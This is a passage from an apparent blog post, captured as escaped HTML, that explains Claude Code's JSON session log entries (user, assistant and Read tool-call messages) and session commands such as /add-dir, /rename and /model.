  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"8d64d2af-615d-4cfe-8843-273de873d9da"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"promptId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"97fe3efe-e395-41b9-96aa-34497e529ca4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Parse @README.md"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cfab7717-ca08-45bf-9e0f-2241668efe23"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-04T09:38:00.929Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissionMode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"default"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The directly following &lt;code&gt;system&lt;/code&gt; message contains the same context, invocation, and version information, but a structurally different message with &lt;code&gt;message.type&lt;/code&gt;, &lt;code&gt;message.role&lt;/code&gt;, &lt;code&gt;message.model&lt;/code&gt;, and usage statistics.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cfab7717-ca08-45bf-9e0f-2241668efe23"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msg_2026040417373648e22180f7914ce1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"model"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-sonnet-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"I'll parse the README.md file for you.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_sequence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"usage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"output_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"9b4b857e-3a25-4b03-b20b-da76f5677c77"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-04T09:38:09.698Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hashed-enchanting-ritchie"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And finally, the directly following tool invocation. It reveals the fields &lt;code&gt;message.content.type&lt;/code&gt;, &lt;code&gt;message.content.name&lt;/code&gt;, &lt;code&gt;message.content.input.file_path&lt;/code&gt;. And at &lt;code&gt;message.usage&lt;/code&gt;, statistics about the LLM invocation, which parsed the file content and formulated an answer, can be found.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"9b4b857e-3a25-4b03-b20b-da76f5677c77"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msg_2026040417373648e22180f7914ce1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"model"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-sonnet-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tool_use"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"call_enqown30a3q"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Read"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"file_path"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude/README.md"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tool_use"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_sequence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"usage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34459&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"cache_creation_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"cache_read_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;838&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"output_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"server_tool_use"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"web_search_requests"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"web_fetch_requests"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"service_tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"standard"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"cache_creation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"ephemeral_1h_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"ephemeral_5m_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"inference_geo"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"iterations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"speed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"standard"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2da6dc71-8c0c-486a-9593-b04e0674a795"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-04T09:38:09.698Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hashed-enchanting-ritchie"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These interaction types are at the heart of Claude’s agentic loop. Each prompt you provide gets analyzed, injected into pre-defined system prompts, sent to an LLM, which then provides assistant, tool-run, and tool-execution commands.&lt;/p&gt;

&lt;p&gt;With this understanding, let's continue with investigating the session commands.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Configuration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/add-dir&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Once the Claude session starts, it is bound to the current working directory. This command adds additional directories, and Claude will access and utilize tools in the other directory too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;──────────────────────
❯ /add-dir /opt/spa
──────────────────────
  spac/     directory

...
Add directory to workspace

    /opt/spac

    Claude Code will be able to &lt;span class="nb"&gt;read &lt;/span&gt;files &lt;span class="k"&gt;in &lt;/span&gt;this directory and make edits when
    auto-accept edits is on.

  ❯ 1. Yes, &lt;span class="k"&gt;for &lt;/span&gt;this session
    2. Yes, and remember this directory
    3. No
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/rename&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Sessions are created with a generic name. This command provides a memorable name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /rename universal-skill-converter-refinement
  ⎿  Session renamed to: universal-skill-converter-refinement

─────────────────────────────── universal-skill-converter-refinement ──
❯
─────────────────────────────────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/model&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Model capacities drive the quality of work results. Anthropic distinguishes three different model levels that scale with code complexity: Opus, Sonnet, and Haiku.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/model&lt;/code&gt; command allows manual selection, which you should use on a per-task level. Here is the dialog.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/model
────────────────────────
 Select model
  Switch between Claude models. Applies to this session and future Claude Code
   sessions. For other/previous model names, specify with &lt;span class="nt"&gt;--model&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

